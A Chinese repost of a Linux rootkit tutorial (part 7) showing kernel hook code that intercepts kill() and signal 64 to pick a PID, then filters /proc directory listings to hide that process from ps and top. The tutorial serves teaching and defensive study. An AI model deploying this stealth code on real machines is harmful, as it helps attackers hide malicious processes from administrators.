7隐藏进程_Linux_Rootkit.md

Xcellerator

密码学Linux其他逆向工程

文章目录

  • [Linux Rootkit 第 7 部分:隐藏进程](https://xcellerator.github.io/posts/linux_rootkits_07/)
  • 选择要隐藏的 PID
  • 隐藏 PID

Linux Rootkit 第 7 部分:隐藏进程

2020-10-01 :: TheXcellerator

# linux # rootkit #隐身 #进程

现在我们知道了如何隐藏目录(参见上次),我们还可以隐藏进程!这是因为几乎所有为我们提供进程信息的用户空间工具都只是读取文件系统的内容/proc/strace -e openat ps我们可以通过查看or的输出来检查这一点strace -e openat top。因此,如果我们隐藏带有我们想要保密的 PID 名称的目录,那么这些用户空间工具将不会注意到该进程的存在!

有一点需要注意的是,我们将隐藏所有具有我们要隐藏的 PID 名称的文件或目录。这种情况被发现的可能性相当低。

选择要隐藏的 PID

PID 非常难以预测,因此我们不想将其硬编码到我们的 Rootkit 中。因此,我们需要想出一种方法来告诉我们的模块我们想要隐藏哪个 PID。最简单的方法就是再次挂钩,sys_kill()因为它已经构建为向内核发送 PID!我们可以再次实现自定义信号处理程序(如第 3 部分和第 5 部分)。唯一的区别是我们会将传递给信号的 PID64写入全局hide_pid变量,而不是仅仅忽略它。

的钩子sys_kill()应该看起来像这样(一如既往,我只是说明使用更现代的调用方法的钩子- 更多信息可以在第 2 部分pt_regs中找到):

/** hide_pid will store the string representation of the PID we're hiding*/
char hide_pid[NAME_MAX];/** Declaration for the real sys_kill() function*/
static asmlinkage long (*orig_kill)(const struct pt_regs *);/** The syscall hook*/
asmlinkage int hook_kill(const struct pt_regs *regs)
{/** Pull out the arguments we need from the pt_regs struct*/pid_t pid = regs->di;int sig = regs->si;/** If the signal is 64, then print a message to the kernel buffer and* write the PID as a string to hide_pid*/if (sig == 64){printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid);sprintf(hide_pid, "%d%", pid);return 0;}/** Otherwise, just return the real sys_kill*/return orig_kill(regs);
}

复制

隐藏 PID

现在我们可以告诉 rootkit 我们想要隐藏哪个 PID,我们必须真正隐藏它!sys_getdents()我们这样做的方法是从第 6 部分获取钩子,并将与 进行比较sys_getdents64()的行替换为与它进行比较的行- 请参阅新的第 72 行:current_dir->d_name``PREFIX``hide_pid``rootkit.c

if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0)&& (strncmp(hide_pid, "", NAME_MAX) != 0) )
{/* Hide the directory with name in hide_pid */
}

复制

请注意,我们还必须确保它hide_pid不为空!如果我们不这样做,那么该模块将通过隐藏系统上的每个目录来启动。这是因为strlen(hide_pid)will 是0,所以对 的调用memcmp()将始终返回 true 。

这几乎就是全部内容了!一旦我们将内核模块的其余部分(Ftrace 等)放在一起,我们就可以构建它并尝试它。完整的源代码(包含头文件和 Makefile)位于repo上。

我们来尝试一下吧!

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

成功!PID43218从 - 的输出中隐藏起来ps,我们甚至不必那么努力!这似乎是一个简单的技术,但这只是因为我们重新利用了我们已经介绍过的两个不同的系统调用挂钩:sys_kill()在第 3 部分和sys_getdents()/sys_getdents64()在第 6 部分。

唯一的缺点是我们一次只能隐藏一个 PID。对多个 PID 的支持留待您尝试。但请注意,这并不像听起来那么简单!

希望您喜欢这个 - 它比平常短一点,但这只是因为这里没有太多新内容,只是我们已经介绍过的技术的巧妙组合。

直到下一次…

阅读其他帖子


←Linux Rootkit 第 8 部分:隐藏开放端口使用内核模块逃逸特权容器→

哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题

该网站是闹鬼网络的一部分

panr](https://twitter.com/panr)制作的主题

该网站是闹鬼网络的一部分

<<< 随机 >>>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/667754.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python调用pyspark报错整理

前言 Pycharm配置了SSH服务器和Anaconda的python解释器&#xff0c;如果没有配置可参考 大数据单机学习环境搭建(8)Linux单节点Anaconda安装和Pycharm连接 Pycharm执行的脚本 执行如下 pyspark_model.py 的python脚本&#xff0c;构建SparkSession来执行sparksql "&qu…

学习的数据结构和算法第2天

数据结构 ​ 是计算机储存、组织数据的方式&#xff0c;指相互之间存在一种或多种特定关系的数据元素 利用一些方式实现一些项目在内存中奖数据存储起来。 1、数组 2、链表 3、树 算法 ​ 就是定义良好的计算过程&#xff0c;它取一个或一组的值为输入&#xff0c;并…

Quartus IP 之mif与hex文件创建与使用

一、mif与hex概述 ROM IP的数据需要满足断电不丢失的要求&#xff0c;ROM IP数据的文件格式一般有三种文件格式&#xff1a;.mif、.hex、.coe&#xff0c;Xilinx与Intel Altera支持的ROM IP数据文件格式如下&#xff1a; Xilinx与Altera支持的ROM文件格式 Alterahex、mifAM&am…

pwn学习笔记(2)

pwn学习笔记&#xff08;2&#xff09; 1.三种常见的寄存器&#xff1a; ​ ax寄存器&#xff1a;通用寄存器&#xff0c;可用于存放多种数据 ​ bp寄存器&#xff1a;存放的是栈帧的栈底地址 ​ sp寄存器&#xff1a;存放的是栈顶的地址 2.栈帧与栈工作的简介&#xff1a…

Objective-C 中的SEL

在 Objective-C 中&#xff0c;SEL&#xff08;Selector&#xff09;是一种用来表示方法的类型。 它实际上是一个指向方法的指针&#xff0c;用于在运行时动态调用方法。 下面是一个使用 SEL 的代码示例&#xff1a; #import <Foundation/Foundation.h>interface MyCl…

SplitFed: When Federated Learning Meets Split Learning

论文链接&#xff1a; [2004.12088v1] SplitFed: When Federated Learning Meets Split Learning (arxiv.org) AAAI 2022 摘要&#xff1a; 联邦学习分割学习&#xff1a;消除其固有的缺点的两种方法&#xff0c;以及结合差分隐私和PixelDP的精细架构配置&#xff0c;以增强…

CSS transition的一些见解

CSSTransition是CSS3中新添加的特性&#xff0c;可以用来创建元素的过渡效果。当元素在大小、颜色、布局、透明度等数值改变时&#xff0c;可以使其产生过渡的动画效果。 CSSTransition的主要属性包括&#xff1a; transition-property&#xff1a;指定当元素哪个属性改变时执…

【Spring连载】使用Spring Data访问Redis(十)----Lua脚本支持Scripting

【Spring连载】使用Spring Data访问Redis&#xff08;十&#xff09;----Lua脚本支持Scripting Redis 2.6及更高版本支持通过eval 和 evalsha 命令运行Lua脚本。Spring Data Redis为运行处理序列化的脚本提供了高级抽象&#xff0c;并自动使用Redis脚本缓存。 脚本可以通过调用…

云计算关键技术

目录 一、云计算关键技术概述 1.1 概述 二、关键技术内容 2.1 虚拟化技术 2.2 分布式数据存储技术 2.3 资源管理技术 2.4 云计算平台管理技术 2.5 多租户隔离技术 2.5.1 多租户技术下SaaS 特征 2.5.2 多租户技术面临的技术难题 2.5.2.1 数据隔离 2.5.2.2 客户化配置…

Can调试工具源码

Can调试工具源码 CANTool通用测试软件是一个专门用来socket can接口进行测试的软件工具&#xff0c;此软件操作简单&#xff0c;容易上手&#xff0c;通过运用此软件可以非常方便的对linux系统的can接口进行测试&#xff0c;从而熟悉can接口的使用方法&#xff0c;并且此为源码…

C# CAD界面-自定义工具栏(三)

运行环境 vs2022 c# cad2016 调试成功 一、引用 二、开发代码进行详细的说明 初始化与获取AutoCAD核心对象&#xff1a; Database db HostApplicationServices.WorkingDatabase;&#xff1a;这行代码获取当前工作中的AutoCAD数据库对象。在AutoCAD中&#xff0c;所有图形数…

PS一键磨皮插件Delicious Retouch for mac中文 支持PS2024

Delicious Retouch for Mac是一款优秀的Photoshop插件&#xff0c;专注于人像修饰。以下是该插件的一些主要特点和功能&#xff1a; 软件下载&#xff1a;Delicious Retouch for mac中文 支持PS2024 人像修饰工具&#xff1a;Delicious Retouch专注于人像修饰&#xff0c;提供了…

PyTorch 2.2 中文官方教程(十一)

使用 PyTorch C 前端 原文&#xff1a;pytorch.org/tutorials/advanced/cpp_frontend.html 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 PyTorch C 前端是 PyTorch 机器学习框架的纯 C 接口。虽然 PyTorch 的主要接口自然是 Python&#xff0c;但这个 Python API 坐…

ML:2-2-3 多分类问题multicalss

文章目录 1. 多分类问题的定义2. softmax3. 神经网络的softmax输出 【吴恩达机器学习65-67】 1. 多分类问题的定义 classification问题可能的output大于2种。 multiclass的预测图像可能是右侧这样的。 2. softmax softmax regression算法是logistic regression的泛化&#xf…

python Flask 写一个简易的 web 端上传文件程序 (附demo)

python Flask 写一个简易的 web 端上传文件程序 &#xff08;附demo&#xff09; 需求介绍核心代码&#xff1a; 文件结构前端文件后端文件 完整代码演示 需求 在当今数字化时代&#xff0c;文件上传需求日益普遍。无论是个人还是企业&#xff0c;都可能需要实现文件上传功能。…

jmeter-问题一:关于线程组,线程数,用户数详解

文章目录 jmeter参数介绍1.线程数2.准备时长(Ramp-up)3.循环次数4.same user on each iteratio5.调度器 场景一&#xff1a;当你的线程组中线程数为1,循环为1场景二&#xff1a;当你的线程组中线程数为2&#xff0c;循环为1场景三&#xff1a;当你的线程组中线程数为1&#xff…

【C#】Json转资源并加载

Json文件如下 右键修改json文件属性 【代码】读取Json文件内容 string sTemplate string.Empty; Assembly assembly Assembly.GetExecutingAssembly(); string resourceName assembly.GetName().Name.ToString() ".Json.test.json"; using (Stream stream asse…

IP代理類型詳解 | 基於網路協議、匿名性、IP來源

線上代理、HTTP代理、Socks4/5代理、動態住宅IP代理、專用代理、共用代理、開放代理、匿名代理、反向代理……是否令你感到困惑&#xff1f;閱讀本片文章瞭解所有。可以將代理視為你與所需網站Web伺服器之間的中間人。它接收你的請求&#xff0c;然後將請求發送到Web伺服器。然…

【GAMES101】Lecture 15 全局光照

本节继承上一节的难度并继续加深&#xff0c;讲这个BRDF&#xff0c;然后理解反射方程和渲染方程&#xff0c;最终实现全局光照&#xff0c;以下内容很抽象……如果想要深入理解建议到隔壁基于物理着色&#xff1a;BRDF - 知乎 (zhihu.com)或者多看几遍视频&#xff0c;我也是回…

【01】C++入门

文章目录 Ⅰ 命名空间1. 命名空间域的产生2. 命名空间域的定义3. 命名空间域的使用 Ⅱ 缺省参数1. 缺省的概念2. 缺省的分类3. 声明和定义不能同时存在缺省参数 Ⅲ 函数重载1. 函数重载概念2. 编译器如何实现函数重载 Ⅳ 引用1. 引用的概念2. 引用的特性3. 引用的使用场景4. 引…